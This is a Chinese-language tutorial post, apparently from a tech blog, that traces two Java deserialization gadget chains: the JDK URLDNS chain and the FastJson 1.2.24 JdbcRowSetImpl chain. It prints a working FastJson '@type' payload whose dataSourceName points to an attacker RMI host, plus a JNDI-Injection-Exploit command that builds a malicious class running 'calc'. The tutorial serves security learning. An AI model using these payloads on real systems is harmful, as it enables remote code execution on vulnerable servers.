当前位置: 首页 > ds >正文

Web开发-JavaEE应用原生和FastJson反序列化URLDNS链JDBC链Gadget手搓

利用链也叫"gadget chains",我们通常称为gadget:

1、共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有

2、入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)

3、调用链gadget chain:相同方法名、相同类型

4、执行类sink:RCESSRF 写文件等等

原生反序列化及URLDNS链分析(JDK自带链)

核心:java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode

HashMap->readObject

HashMap->putVal(put)

HashMap->hash

key.hashCode->

URL.hashCode->

handler.hashCode->

URLStreamHandler.getHostAddress

案例:

这时jdk自带的一个HashMap。自带的链

跟踪这个putVal

再追踪这个hash

如果这里key不等于空,则等于这个key.hashCode

再来看一下这个hashCode是干嘛的

找到这里的hashCode的实现方法中的一个URL,点进去

这个是属于jdk自带的

这里如果不等于-1则返回hashCode,等于-1则之下下面的handler.hashCode

再跟踪这个hander,发现了这行代码,来源于一个URLStreamHandler

到这里发现了一个getHostAddress,获取主机域名解析类,到这里就是链形成了

传参为u

new hashmap->
hashmap.readObject->
putVal(hash(key))->
hash->key.hashCode()如果key控制为url
->url.hashCode如果控制hashCode=-1->handler.hashCode=URLStreamHandler.hashCode
->URLStreamHandler.hashCode.getHostAddress(u)搞清楚入口类,需要修改的值,需要传递的值,
创建一个HashMap泛型,(后续操作URL类即int类型值)
在创建一个url连接,(将要请求的地址写入对应代码的U)
用put方法把url数据存放到里面,触发putVal(hash(key)
其中hash里面会调用key.hashCode()
最终触发点是key,所以我们就需要给key的类型设置成URL类,
通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode
最终调用里面的getHostAddress实现

如果执行了hashmap的反序列化就会执行这里的readObject类

写利用链:

参考:

https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g

搞清楚入口类,需要修改的值,需要传递的值,

创建一个HashMap泛型,(后续操作URL类即int类型值)

在创建一个url连接,(将要请求的地址写入对应代码的U)

用put方法把url数据存放到里面,触发putVal(hash(key)

其中hash里面会调用key.hashCode()

最终触发点是key,所以我们就需要给key的类型设置成URL类,

通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现

过程:


hashCode.set(url,1234342);
objectHashMap.put(url,1);这里我们的代码其实就是指向了下面这一段代码的put方法,里面的值就是key和value,key传递的是url
value传递的就是数值public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}然后我们hash(key)就变成了hash(url),h = key.hashCode()这个就应该是h = url.hashCode()static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

写完后序列化一下serializable(aClass);

然后我们构造一个dnslog

生成一个dns可用域名,写到我们构造的payload里面去

这里我们就是编译了URLDNS类,然后构造了一个dns.txt文件,然后我们进行反序列化就能看到我们的dnslog有记录了

FastJson反序列化及JdbcRowSetImp链分析(JDK自带链):

参考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.24</version>

</dependency>

应用知识:

1、序列化方法:

JSON.toJSONString(),返回字符串;

JSON.toJSONBytes(),返回byte数组;

public class FastJsonDemo {public static void main(String[] args) {User chaoyang = new User("chaoyang", 22, 1);String jsonString = JSON.toJSONString(chaoyang);System.out.println(JSON.toJSONString(chaoyang));}
}

2、反序列化方法:

JSON.parseObject(),返回JsonObject;

JSON.parse(),返回Object;

JSON.parseArray(), 返回JSONArray;

将JSON对象转换为java对象:JSON.toJavaObject();

将JSON对象写入write流:JSON.writeJSONString();

3、常用:

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

使用引出安全:

1、序列化固定类后:

parse方法在调用时会调用set方法

parseObject在调用时会调用set和get方法

2、反序列化指定类后:

parseObject在调用时会调用set方法

安全利用链:

JDK自带链-JdbcRowSetImpl:

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

String payload ="{"+

"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","+

"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", "+

"\"autoCommit\":true"+

"}";

JSON.parse(payload);

漏洞跟踪

这里面的payload的含义就是@type引用了JDBC链,然后改了两个值,dataSourceNam值改为后面的rmi/jndi注入,然后autoCommit改为true

//反序列化对象:com.sun.rowset.JdbcRowSetImpl

//改动的成员变量:dataSourceName

跟踪一下RCE漏洞原理

这里我们写一个类,然后再跟踪JdbcROWSetImpl

这里JdbcROWSetImpl是jdk自带的,也就是可以通用的漏洞

这里我们的数据,那我们就要按照思路去找set方法,因此,我们就要找setdataSourceName和setautoCommit

反序列化对象:com.sun.rowset.JdbcRowSetImpl

改动的成员变量:dataSourceName autoCommit

ok,这里我们找到了这个setdataSourceName,

就是我们传入的值不为空会执行一些命令,然后下面还有一段再追踪一下,这里有一个this.conn,点进去看一下是干嘛的

找到了这里,然后我们再找一下一开始的autoCommit,看一下是干嘛的

autoCommit的代码,看一下

这里我们传入值conn,我们这里conn传递值为true,所以我们会执行this.conn = this.connect();,我们再追踪一下这个connect看一下是干嘛的

这里关键代码就出来了

DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
那我们传递到是rmi://192.168.1.2:1099/qdw686\
所以这里的代码就是
DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/qdw686\");
这里就是一个RMI的注入,这里就是远程调用一个java文件

反序列化对象:com.sun.rowset.JdbcRowSetImpl

改动的成员变量:dataSourceName autoCommit

setdataSourceName->getdataSourceName

setautoCommit->connect->DataSource var2 =(DataSource)var1.lookup(this.getDataSourceName());

RMI注入:触发RCE

DataSource var2 =(DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");

这里我们用这个工具生成一条rmi注入的命令

ok了,齐活

var1.lookup RMI协议远程调用(引出下节课将讲到)

autoCommit->setAutoCommit->

this.connect()->var1.lookup(this.getDataSourceName());

生成RMI恶意调用类:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C"calc"

http://www.xdnf.cn/news/19466.html

相关文章:

  • Photoshop - Ps 编辑图像
  • 深思熟虑智能体:基于 tencent youtu-agent 的五阶段投资研究系统
  • 第一个SpringBoot程序
  • 字数统计器和文本AI处理,非常好用
  • HBase高效并发锁:IdLock极简内存设计
  • 世界模型 World Models概述
  • 计算机算术8-浮点加法
  • uart学习
  • 基于FPGA的简易医疗呼叫器实现,包含testbench
  • 基于单片机智能垃圾桶/垃圾分类/语音垃圾桶
  • 内存模型(Memory Model)是什么?
  • 数据结构(顺序表力扣刷题)
  • 科技信息差(8.30)
  • GLM-Zero:智谱AI最新推出的AI深度推理模型
  • I2C多点触控驱动开发详解
  • shell脚本第五阶段---shell函数与正则表达式
  • 大模型训练中的 logits 是什么
  • react代码分割
  • 算法题(195):点名
  • WorkManager
  • BGP路由协议(四):工作原理
  • 银河麒麟Kylin系统安装各种板卡(反射内存卡、图像注入卡、串口卡等)步骤及解决方案
  • 微服务-ruoyi-cloud部署
  • 直流无刷电机2
  • 网络编程(4)
  • windows系统中安装zip版本mysql,配置环境
  • React学习教程,从入门到精通, ReactJS - 优点与缺点(5)
  • 线段树相关算法题(5)
  • LangGraph结构化输出详解:让智能体返回格式化数据
  • Midjourney绘画创作入门操作创作(广告创意与设计)